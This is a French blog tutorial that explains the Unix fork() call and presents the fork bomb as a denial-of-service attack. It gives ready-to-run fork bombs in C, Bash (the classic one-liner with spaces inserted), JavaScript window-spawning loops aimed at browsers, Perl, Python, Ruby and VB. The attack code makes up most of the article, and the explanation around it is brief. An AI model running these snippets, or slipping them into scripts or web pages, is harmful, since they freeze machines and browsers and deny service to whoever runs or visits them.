Fork bomb : la réplication infinie des processus au service du DoSComment ralentir ou stopper une machine en saturant la liste des processus ? |
lundi 14 mars 2011 à 23:01
|
Qu'est ce qu'un fork ? Pour répondre à cette question on ouvre notre terminal préféré et on tape "man fork".
Résultat en français :
Synopsis
Prototype de la fonction fork en C
#include <unistd.h> pid_t fork(void);
Description
fork crée un processus fils qui diffère du processus parent uniquement par ses valeurs PID et PPID et par le fait que toutes les statistiques d'utilisation des ressources sont remises à zéro. Les verrouillages de fichiers, et les signaux en attente ne sont pas hérités.
La fork bomb est une attaque par déni de service utilisant la fonction fork ou tout du moins une fonction ayant le même comportement. La fork bomb est un bout de code auto-répliquant (un wabbit) qui, une fois lancé sur un système, peut totalement le paralyser en s'attribuant la totalité de la mémoire, du temps processeur et la table de processus; il devient alors impossible pour un autre processus de prendre la main, y comprit celui que vous voudriez utiliser pour éteindre la bombe
.
Il existe de nombreuses façons de développer une fork bomb dans de nombreux langages. Actuellement tous les systèmes basés sur UNIX ont des protections contre les fork bomb, mais je peux vous assurer que certaines d'entre elles peuvent quand même vous pourrir un système, c'est d'ailleurs après en avoir apprécié les joies que j'ai eu l'idée d'écrire ce tutoriel.
Place aux exemples :
Langage C
#include <unistd.h>
int main(void)
{
while (1)
{
fork();
}
return (0);
}
Bash : Supprimez les espaces entre les caractères
: ( ) { : | : & } ; :
Javascript
function open_target_blank()
{
window.open(window.location);
}
window.onload = open_target_blank();
OU
while (true)
{
var w = window.open();
w.document.write(document.documentElement.outerHTML || document.documentElement.innerHTML);
}
Perl
fork while fork
Python
import os while True: os.fork()
Ruby
loop { fork }
VB
Private Sub Main()
Do
Shell App.EXEName
Loop
End Sub
|
AuteurNicolas GAUTRONCréateur et administrateur. http://www.informatix.fr |
Dans la même catégorie
SSH : Comment interdire l'authentification par mot de passe ?SSH : les principes et l'authentification par cryptographie asymétrique
Yes : la commande qui vous veut du mal
Exploitation d'une faille Apache pour contourner les htaccess.
Protéger par un mot de passe un fichier ou un dossier sur un serveur Free.

